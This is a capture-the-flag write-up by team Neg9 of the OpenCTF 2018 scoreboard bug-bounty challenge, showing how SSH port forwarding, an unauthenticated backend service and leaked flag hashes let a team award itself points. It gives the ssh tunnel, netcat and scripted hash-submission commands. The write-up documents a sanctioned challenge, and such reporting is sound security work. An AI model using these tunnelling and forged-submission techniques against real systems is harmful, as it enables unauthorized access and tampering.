OpenCTF 2018 - Scoreboard Bug Bounty Writeup
Scoreboard Bug Bounty - 1337
DEFCON 26 @Open_CTF
2018-08-11
Solved by Neg9 [craSH, tecknicaltom, reidb]
SCOREBOARD BUG BOUNTY IS OPEN. COME AT US BR0!!! V& OUT!!! https://scoreboard.openctf.com/scoreboardbugbounty-dd9dd662cb9895a2353f6c463120b9eb7fed2bfb
Scoreboard Server: scoreboard.openctf.com
The Scoreboard server is running an SSH server, which is the primary method teams use to interact with it. Each team has a shell account, and the users' shell is set to be interact.py
from the above source archive.
There were several issues with the scoreboard system configuration, code, and how the organizers released the code, which when combined, resulted in the ability of a team to score all possible challenges for themselves without leaving any trace of doing so, and by not using the intended interact.py
method of scoring.
Issue 1: sshd is configured to allow port forwarding/dynamic proxying.
Issue 2:
collect_keys.py
accepts connections without authentication, and it does not log connections made to it to syslog likeinteract.py
does.Issue 3: The included SQLite database (
central.db
) included all (SHA512) hashes of the flags. This hash value is what the backendcollect_keys.py
takes in addition to team name and challenge ID to register a scoring event.
As such, you can directly connect to the backend and submit a known hash for a question to a team.
One could connect to the scoreboard as such to open a socket on the players local machine on port 41337 which is a tunnel to the backend service collect_keys.py
running on the scoreboard:
ssh -L41337:localhost:41337 [email protected]
And in another terminal, one could then connect to the collect_keys.py
service as follows:
nc localhost 41337
This would yield the service authentication string (lol) and wait to be written to:
lol goatse
At this point, the service expects a scoring event message in the following format:
<Team_Name>,<Question_ID>,<Flag_SHA512_Hex>
For example - here is the string to submit to score question ID 15 (this scoreboard bug bounty challenge) for team neg9:
neg9,15,40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6
As we have all hashes in the database provided, we can script up scoring for all questions. Here is the database schema:
CREATE TABLE questions(challenge_name text, tags text, point_value integer, answer_hash text, question text, solved integer, open integer, qualification);
CREATE TABLE team_score(team_name text, challenge_name text, point_value integer, answer_hash text, time_solved text, first integer, PRIMARY KEY(team_name, challenge_name, point_value, answer_hash) ON CONFLICT IGNORE);
And for demonstration, here is the row for this challenge:
sqlite> select * from questions where challenge_name like '%bug%';
Scoreboard Bug Bounty|Kajer scoreboard|1337|40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6|Find an 0-day in our scoreboard. Source is here: https://pastebin.com/nVR8gEih
We expeditiously grabbed all of the hashes from the dump and put them in a file to work with.
The following nested for loop would submit all hashes for neg9 (we extracted just the hash values and placed them in hashes.txt):
for hash in $(cat hashes.txt); do for id in {1..100}; do echo "neg9,${id},${hash}" | nc localhost 41337; done ; done
We made a POC of this with the question ID 15, for the scoreboard bug bounty, and we were successfully awarded 1337 points. The organizers quickly disabled SSH port forwarding/tunneling at this point, and we were not able to score for the other flags in this manner. Good work :)